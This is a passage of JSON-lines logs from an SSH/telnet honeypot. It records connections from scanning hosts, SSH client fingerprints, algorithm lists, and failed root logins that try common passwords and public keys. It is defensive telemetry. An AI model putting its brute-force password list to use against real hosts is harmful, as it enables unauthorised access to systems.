.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:54.181878Z","src_ip":"113.125.165.132","session":"7a2673a0ef0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates","message":"login attempt [root/unitedstates] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:54.274248Z","src_ip":"49.0.84.125","session":"14829b4cd264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:54.820859Z","src_ip":"192.169.197.250","session":"40673a7bc826","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ax123456","message":"login attempt [root/Ax123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:55.210146Z","src_ip":"113.125.165.132","session":"7a2673a0ef0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:55.550833Z","src_ip":"49.0.84.125","session":"14829b4cd264","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:10:56.460759Z","src_ip":"113.125.165.132","session":"7a2673a0ef0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.69","src_port":51870,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0b13e9906d4","protocol":"telnet","message":"New connection: 154.90.70.69:51870 (10.17.0.5:23) [session: b0b13e9906d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:09.506628Z"}
{"eventid":"cowrie.session.closed","duration":0.004083156585693359,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:09.510583Z","src_ip":"154.90.70.69","session":"b0b13e9906d4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.90.70.69","src_port":51880,"dst_ip":"10.17.0.5","dst_port":23,"session":"3b3f051bc139","protocol":"telnet","message":"New connection: 154.90.70.69:51880 (10.17.0.5:23) [session: 3b3f051bc139]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:09.589409Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe","message":"login attempt [root/123qwe] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:11.391872Z","src_ip":"154.90.70.69","session":"3b3f051bc139","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.0031955242156982,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:12.592494Z","src_ip":"154.90.70.69","session":"3b3f051bc139","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.166","src_port":54410,"dst_ip":"10.17.0.5","dst_port":22,"session":"40bb88941126","protocol":"ssh","message":"New connection: 64.227.101.166:54410 (10.17.0.5:22) [session: 40bb88941126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:18.710924Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:18.716452Z","src_ip":"64.227.101.166","session":"40bb88941126","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:18.791795Z","src_ip":"64.227.101.166","session":"40bb88941126","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"unitedstates!","message":"login attempt [root/unitedstates!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:19.129644Z","src_ip":"64.227.101.166","session":"40bb88941126","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:20.207703Z","src_ip":"64.227.101.166","session":"40bb88941126","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.159.110.201","src_port":51100,"dst_ip":"159.203.135.109","dst_port":22,"session":"4b57c28ab758","protocol":"ssh","message":"New connection: 94.159.110.201:51100 (159.203.135.109:22) [session: 4b57c28ab758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:37.973164Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:38.011656Z","src_ip":"94.159.110.201","session":"4b57c28ab758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:38.125792Z","src_ip":"94.159.110.201","session":"4b57c28ab758","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"050290","message":"login attempt [root/050290] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:38.466973Z","src_ip":"94.159.110.201","session":"4b57c28ab758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:39.583574Z","src_ip":"94.159.110.201","session":"4b57c28ab758","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.165.242.225","src_port":51636,"dst_ip":"10.17.0.5","dst_port":22,"session":"317f87df2efd","protocol":"ssh","message":"New connection: 185.165.242.225:51636 (10.17.0.5:22) [session: 317f87df2efd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.098748Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.102341Z","src_ip":"185.165.242.225","session":"317f87df2efd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.182869Z","src_ip":"185.165.242.225","session":"317f87df2efd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"08:1b:7b:f4:a3:a3:7c:ef:73:ac:eb:8e:bc:82:0d:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+r8G40YlHb5NF/XhvCbcdzPk17/pOAltY2MW4n+QSiVOD6ugRNOxDRqMrZ0YVe6+KKAFKVF7i+kMCHarLvAn7bPVtH/LxY/FZj3p3ofTz2MUEuZaX6R8PDDv5lSne+hu7VqJgXfBQGJGQj1xPqai/3IdTd1sisjp9p/3Iw0RGvhYlYkYXlWsGszY1tCX/opdLb30Qtof8A4aqa66P/LQwM/beZvwRwU2wRb7frn0N4QvmamfarB1fFm6x1hxOvDGnbkZkAJ9ngbkEiHy3Nf2pcnrS3zJFu1EVCDDKcdvl9mZJx8aMsM5gN5dfwMGKGhBfNknj25TycUZ/kzTD5dc0JemvDb9YCKTgeED9wrE/M5uAq4Z3O1P4qrHKbS2g31TfrAR5MxhvpMA5g5OSZYjY2+eYwum1lBWPpI/qbiO2dW2By+G7gKJRPrLn+nXmned/sY+G8XUf73ZMMBdrHF8FRNJ95vE7hyVVKb6E06MwpGqw0+x5tDmj9j5jmDkZ05/XCCK86XL6R/CiqPLCMjwU23g4AirO8tY6YImaPnU1Ibd1BCrgEPgEP7iESpkuQa1xYqxjTzNR7hJGDXMd/LVQXJl94ItWnoNqj9k/PEDaObK5J5mqzNCAj9V0WwakzzDfcwMbSVix8zaba0G8DHTIakloQBwJ+H7KhiR2cYXBhw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 08:1b:7b:f4:a3:a3:7c:ef:73:ac:eb:8e:bc:82:0d:4d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.568930Z","src_ip":"185.165.242.225","session":"317f87df2efd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"08:1b:7b:f4:a3:a3:7c:ef:73:ac:eb:8e:bc:82:0d:4d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC+r8G40YlHb5NF/XhvCbcdzPk17/pOAltY2MW4n+QSiVOD6ugRNOxDRqMrZ0YVe6+KKAFKVF7i+kMCHarLvAn7bPVtH/LxY/FZj3p3ofTz2MUEuZaX6R8PDDv5lSne+hu7VqJgXfBQGJGQj1xPqai/3IdTd1sisjp9p/3Iw0RGvhYlYkYXlWsGszY1tCX/opdLb30Qtof8A4aqa66P/LQwM/beZvwRwU2wRb7frn0N4QvmamfarB1fFm6x1hxOvDGnbkZkAJ9ngbkEiHy3Nf2pcnrS3zJFu1EVCDDKcdvl9mZJx8aMsM5gN5dfwMGKGhBfNknj25TycUZ/kzTD5dc0JemvDb9YCKTgeED9wrE/M5uAq4Z3O1P4qrHKbS2g31TfrAR5MxhvpMA5g5OSZYjY2+eYwum1lBWPpI/qbiO2dW2By+G7gKJRPrLn+nXmned/sY+G8XUf73ZMMBdrHF8FRNJ95vE7hyVVKb6E06MwpGqw0+x5tDmj9j5jmDkZ05/XCCK86XL6R/CiqPLCMjwU23g4AirO8tY6YImaPnU1Ibd1BCrgEPgEP7iESpkuQa1xYqxjTzNR7hJGDXMd/LVQXJl94ItWnoNqj9k/PEDaObK5J5mqzNCAj9V0WwakzzDfcwMbSVix8zaba0G8DHTIakloQBwJ+H7KhiR2cYXBhw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.571597Z","src_ip":"185.165.242.225","session":"317f87df2efd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"12:4c:32:e5:fd:8f:fa:72:50:84:1b:7a:06:d1:ca:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpCKJpZSiZXF6d6npuZCMNGfMw+geRKt/k7GNb73fru3s4YHkv2MEeYf9AEqgKsg20h7hhjsYrfwkilOnviF38Mg+L0NFAOwmfn8z4HMlFYhaol907SwuPm0HK07usWO0WkoUKNAheXzILp8ZLRK5nK9VRNicrr+CPzbpJ8SoXlbE5qqCg8EkdL2woZ0vripA41gYovlY/+q9ZveCni9Df40s21elLlJKAgg73mRURD4LkapBFP+ycxHNkJaETuM2UaTxErgCcilvoylxIyKJrO9YFOpWknkVaN9mpAR7gDPzl1P4vzgkm+ZlqOdgHlLXNjnuYYDvMoBXbs+akV63X","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 12:4c:32:e5:fd:8f:fa:72:50:84:1b:7a:06:d1:ca:52","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.655806Z","src_ip":"185.165.242.225","session":"317f87df2efd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"12:4c:32:e5:fd:8f:fa:72:50:84:1b:7a:06:d1:ca:52","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpCKJpZSiZXF6d6npuZCMNGfMw+geRKt/k7GNb73fru3s4YHkv2MEeYf9AEqgKsg20h7hhjsYrfwkilOnviF38Mg+L0NFAOwmfn8z4HMlFYhaol907SwuPm0HK07usWO0WkoUKNAheXzILp8ZLRK5nK9VRNicrr+CPzbpJ8SoXlbE5qqCg8EkdL2woZ0vripA41gYovlY/+q9ZveCni9Df40s21elLlJKAgg73mRURD4LkapBFP+ycxHNkJaETuM2UaTxErgCcilvoylxIyKJrO9YFOpWknkVaN9mpAR7gDPzl1P4vzgkm+ZlqOdgHlLXNjnuYYDvMoBXbs+akV63X","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.658776Z","src_ip":"185.165.242.225","session":"317f87df2efd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"35:d6:dc:a6:c4:f6:3a:b2:ed:47:e4:2b:7c:f1:ae:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCptfjg1ETYPwAAk+lvdxHQt6M13JX9kgEw3PezqHLPXY8bTlV1eRy0nalviy7B7SPs93kK1oY3/J5+HMcgqmZ/vTnLWDgNcgLxdpuRnexCZ4VV+d3kjH4txC3kum9GWK6C5MfZOy7lh3Xd4pdbXdO8LdAGMpMHM7y9BXYIItdNQLy7guOJoHxu59ssjxcmb0KQZ1QX00O/wzytL56kgNm8mCzsXbzueP7a/sWpDMDYtA6myNDv8GjdkqmT9VNd4E7FtYVwYDBEjh0kRxmzaEZUZNxJLlX/ex01qJ9EVFmSoANeBCrTlq1s04FJkvF5upWdvKod7UQRj/JfmzDGUkPYXs2HQ8J3/lAYzwsieDzO0pTrmxIgrF7svgj8PAEDF5OKzu1QGI8QotszjX7+8KCUEpzeadWkf1ZhH1RmIwB6e0inrKFJ4YBzY49Bq7Il9Qu4RzsmtTpijvYJMrCCV2ux+15KykNd1DnjizYRvNFDGLezVX6bre7pFfAYRQktL1ELJ/dtB0gBJjnwKiHAxXARQ/IWxiPMGn5owxXXx9Ss+1AKCdtU73gDw/XyjEPMviVE7YvpL7K9HV3AYXnrZJantvwSSwupgSu+tIZygO8tuI3XL7sZAKQrkd0xVImSh5CWS5aOQH9JFPlwg//bEJ5i8hEkO3Qcx5/ocmAEWJ16tw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 35:d6:dc:a6:c4:f6:3a:b2:ed:47:e4:2b:7c:f1:ae:43","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.740979Z","src_ip":"185.165.242.225","session":"317f87df2efd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"35:d6:dc:a6:c4:f6:3a:b2:ed:47:e4:2b:7c:f1:ae:43","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCptfjg1ETYPwAAk+lvdxHQt6M13JX9kgEw3PezqHLPXY8bTlV1eRy0nalviy7B7SPs93kK1oY3/J5+HMcgqmZ/vTnLWDgNcgLxdpuRnexCZ4VV+d3kjH4txC3kum9GWK6C5MfZOy7lh3Xd4pdbXdO8LdAGMpMHM7y9BXYIItdNQLy7guOJoHxu59ssjxcmb0KQZ1QX00O/wzytL56kgNm8mCzsXbzueP7a/sWpDMDYtA6myNDv8GjdkqmT9VNd4E7FtYVwYDBEjh0kRxmzaEZUZNxJLlX/ex01qJ9EVFmSoANeBCrTlq1s04FJkvF5upWdvKod7UQRj/JfmzDGUkPYXs2HQ8J3/lAYzwsieDzO0pTrmxIgrF7svgj8PAEDF5OKzu1QGI8QotszjX7+8KCUEpzeadWkf1ZhH1RmIwB6e0inrKFJ4YBzY49Bq7Il9Qu4RzsmtTpijvYJMrCCV2ux+15KykNd1DnjizYRvNFDGLezVX6bre7pFfAYRQktL1ELJ/dtB0gBJjnwKiHAxXARQ/IWxiPMGn5owxXXx9Ss+1AKCdtU73gDw/XyjEPMviVE7YvpL7K9HV3AYXnrZJantvwSSwupgSu+tIZygO8tuI3XL7sZAKQrkd0xVImSh5CWS5aOQH9JFPlwg//bEJ5i8hEkO3Qcx5/ocmAEWJ16tw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.743808Z","src_ip":"185.165.242.225","session":"317f87df2efd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cf:b4:8a:04:58:b8:d0:79:b5:ed:49:6c:a4:fe:24:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFqS1dtOUCJ1rgpk9B7cIg8NWESBrjBdDxnX80OqI7JUcotl9tn6FHjoqfivs92s/CP1EsAjtsjUTQpNeF3OEaztsw2Gs7Y5QsbWz7iC8KQyT2O8b9fYAwnQvPYR8SOCjzHhnR66MjpYmAbPHkvJ9I4CQ8dJNdLK8KfvHhzjzDBx46iR/bwJ12MhLHYTAVCqpZSskSwVlleDHWnzMrK3LI7ecWmciV+IhEojXLEtL6DAYGM3GRbb64aON1i8IqYaMbe9EfvHuA+cTlfUiBEO2bYdh+00Lu6NwZM7c4BAady1O0PNJ1JglundeUKtZvuzBvCwPBWcIcwXWfoBpthZYiBnjkmqdT227F+oRDs2NujymxPROpxY5VCaqoFR5CY/HFMwDcc1Fv+gCpXCAahJBPTRp1fb+2LhqRGJu5qV/Io/xWyRKibP//R3VDaHVFdZXedk/FyA6gWai6Mp3DfCIdhnOP3NhNlXoTqB5QWMOjcLlfqfrSid8q1qZ4tPVRw2EroW7ky6pfQr53wJsvyUKZLnrZSvK1OP/LB0LZqz9Sl+7CEeTJt2jUSR5I8PpvPMmIv6s30EoHjMIY9YqEsWLjr03ZXFrCN+0x6vHHg132jCXbkKcHef4BdD/7eJfF3owxWoyCFJpZmGj8LLCIcKoz7PmPW+CxsNPVUAvr3+ZNKQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cf:b4:8a:04:58:b8:d0:79:b5:ed:49:6c:a4:fe:24:51","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.825236Z","src_ip":"185.165.242.225","session":"317f87df2efd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cf:b4:8a:04:58:b8:d0:79:b5:ed:49:6c:a4:fe:24:51","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDFqS1dtOUCJ1rgpk9B7cIg8NWESBrjBdDxnX80OqI7JUcotl9tn6FHjoqfivs92s/CP1EsAjtsjUTQpNeF3OEaztsw2Gs7Y5QsbWz7iC8KQyT2O8b9fYAwnQvPYR8SOCjzHhnR66MjpYmAbPHkvJ9I4CQ8dJNdLK8KfvHhzjzDBx46iR/bwJ12MhLHYTAVCqpZSskSwVlleDHWnzMrK3LI7ecWmciV+IhEojXLEtL6DAYGM3GRbb64aON1i8IqYaMbe9EfvHuA+cTlfUiBEO2bYdh+00Lu6NwZM7c4BAady1O0PNJ1JglundeUKtZvuzBvCwPBWcIcwXWfoBpthZYiBnjkmqdT227F+oRDs2NujymxPROpxY5VCaqoFR5CY/HFMwDcc1Fv+gCpXCAahJBPTRp1fb+2LhqRGJu5qV/Io/xWyRKibP//R3VDaHVFdZXedk/FyA6gWai6Mp3DfCIdhnOP3NhNlXoTqB5QWMOjcLlfqfrSid8q1qZ4tPVRw2EroW7ky6pfQr53wJsvyUKZLnrZSvK1OP/LB0LZqz9Sl+7CEeTJt2jUSR5I8PpvPMmIv6s30EoHjMIY9YqEsWLjr03ZXFrCN+0x6vHHg132jCXbkKcHef4BdD/7eJfF3owxWoyCFJpZmGj8LLCIcKoz7PmPW+CxsNPVUAvr3+ZNKQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.827936Z","src_ip":"185.165.242.225","session":"317f87df2efd","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"61:ef:73:a3:49:e8:e4:54:a2:15:a6:02:9d:78:69:2e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDGkP0f0E9jJ1kBEYVAFXhTu891C0ngA4Tg5UkXAZ246p3y+5ogf40VP8FvB0ObIOIxNM3xLaT0BULLr/d2LhABOGA1nVhhHhDDDpS6sHwjvNjY1lmOlHEvHHrscNjMjqTKnzUOEbL+Tqsg5z+f2XlFlAN3TNVDpk/GS/X+Rzn4sdL2wBkmA3JTLG23qxUcd3IinP9o9tumGW39c7v1sNWTtVl38XqfSt0LQC5kIkCE9YdFWMVKTI6+IBKKkN7B4uOmv1NxRiDk2j32wUg0FnMtgC374sMoSnFKgtFpziGmLsn3W7BiLj9duCoE9huPhgniIVxDCTLuH2Q4K70hveKP","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 61:ef:73:a3:49:e8:e4:54:a2:15:a6:02:9d:78:69:2e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T18:11:45.909457Z","src_ip":"185.165.242.225","session":"317f87df2efd","protocol":"ssh"}
